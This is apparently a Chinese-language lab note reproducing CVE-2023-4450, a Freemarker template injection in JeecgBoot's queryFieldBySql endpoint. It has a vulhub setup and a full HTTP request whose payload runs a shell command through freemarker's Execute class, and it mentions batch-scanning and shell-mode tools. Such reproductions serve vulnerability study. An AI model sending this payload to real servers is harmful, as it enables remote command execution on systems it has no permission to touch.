免责声明:

本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞描述

Jeecg-boot系统中queryFieldBySql接口在处理SQL时使用Freemarker进行处理,由于代码不规范或信任了用户输入而导致了服务端模板注入。

环境搭建

cd /vulhub/jeecg-boot/CVE-2023-4450
docker compose up -d

漏洞复现

打开页面

1711900071281.png

构造payload

1711900115029.png

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 172.16.10.10:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Length: 112
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Origin: http://172.16.10.10:8080



{"sql":"select 'result:<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"echo hello\")}'"}'

nuclei批量验证(github自行获取)

1711900226038.png

pocsuite3批量验证(github自行获取)

verify漏洞验证

1711900323637.png

attack漏洞利用

1711900433833.png

shell模式

1711900491937.png

github poc总汇地址:https://github.com/AYcg/poc